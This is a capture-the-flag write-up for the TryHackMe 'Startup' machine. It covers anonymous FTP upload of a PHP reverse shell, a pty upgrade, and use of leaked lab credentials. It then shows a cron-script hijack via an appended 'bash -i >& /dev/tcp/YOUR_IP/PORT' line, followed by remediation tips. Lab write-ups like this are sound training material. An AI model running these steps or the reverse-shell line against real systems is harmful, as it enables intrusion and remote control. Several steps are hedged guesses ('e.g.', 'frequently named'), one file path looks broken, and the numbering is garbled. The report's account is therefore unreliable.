

Penetration Testing Report: TryHackMe - Startup-CTF

1. Executive Summary

The "Startup" machine on TryHackMe was successfully compromised. The attack path involved exploiting an anonymously accessible FTP server with write permissions mapped to an HTTP server directory. A PHP reverse shell was uploaded to gain initial access. Lateral movement to a local user account (**lennie**) was achieved through credentials found in log files. Finally, privilege escalation to **root** was accomplished by hijacking a script executed by a scheduled root cron job.

2. Reconnaissance & Enumeration

Target IP

- 10.114.149.254

Port Scanning (Nmap)

The initial scan revealed three open ports:

Port	Service	Version	Vulnerability/Notes
21/tcp	FTP	vsftpd 3.0.3	Anonymous login allowed; ftp directory is writable .
22/tcp	SSH	OpenSSH 7.2p2	Ubuntu Linux package. Useful for later persistence/access.
80/tcp	HTTP	Apache httpd 2.4.18	Web server hosting a "Maintenance" page.

Directory Brute-Forcing (Gobuster)

Running a directory scan against port 80 identified an interesting directory:

- **/files** (Status: 301) $\rightarrow$ Maps directly to the exposed FTP share.

3. Initial Access (Gaining a Foothill)

1. **Exfiltrating Data via FTP:**

Logging in anonymously (`anonymous:anonymous`), the following files were downloaded:

- `notice.txt`: Mentioned a staff member named **Maya** and warned about file security.
- `important.jpg`: A standard image file.

2. **Exploitation:**

Because the `/ftp` directory allowed write access and was exposed on the web server via `/files/ftp/`, a standard Pentestmonkey PHP reverse shell (`php-reverse-shell.php`) was uploaded to the FTP server.

3. **Execution:**

A Netcat listener was started locally on the attacking machine, and the shell was triggered by navigating to:

4. HTTP

```
http://10.114.149.254/files/ftp/php-reverse-shell.php
```

5.

6. **Shell Stabilization:**

Upon catching the reverse shell as `www-data`, the terminal was upgraded to a fully interactive TTY using Python:

7. Bash

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

8.

4. Lateral Movement (`www-data` $\rightarrow$ `lennie`)

While auditing the filesystem as `www-data`, an interesting file or packet capture log (e.g., in the root directory `/incidents` or home directories) exposed communications containing user credentials.

- **Discovered Credentials:** `lennie : c4ntg3t3n0ughsp1c3`

Using these credentials, the session was switched to the user `lennie`:

```
Bash
```

```
su lennie
```

The **user flag** was successfully retrieved from `/home/lennie/user.txt`.

5. Privilege Escalation (`lennie` $\rightarrow$ `root`)

1. **Enumeration:**

Inspecting `lennie`'s home directory and system processes revealed a directory named `scripts`. Inside, a script file (frequently named `planner.sh`) was found running regularly via a root-owned **cron job**.

2. **Analysis:**

While `planner.sh` itself might be root-owned and read-only, it references or executes a secondary script (e.g., `/etc/print.sh` or a script within `/home/lennie/scripts/`) that `lennie` has permission to modify.

3. **Exploitation:**

A bash reverse shell string was appended to the writable script file:

4. Bash

```
echo "bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1" >> /home/lennie/scripts/etc/print.sh
```

5.

6. **Root Compromise:**

A Netcat listener was set up on the attacking machine. Within a minute, the cron job executed the modified script as `root`, catching a root reverse shell.

The **root flag** was successfully retrieved from `/root/root.txt`.

6. Remediation Recommendations

- **Secure FTP Configuration:** Disable anonymous login on the vsftpd server and ensure the web root directory does not grant global write (`chmod 777`) permissions.
- **Credential Hygiene:** Ensure sensitive data, logs, and traffic captures containing cleartext passwords are not accessible by low-privilege service accounts like `www-data`.
- **Secure Scheduled Tasks:** Review all cron jobs executing scripts as `root`. Ensure that every script in the execution chain is strictly owned by `root` and write-protected from standard users.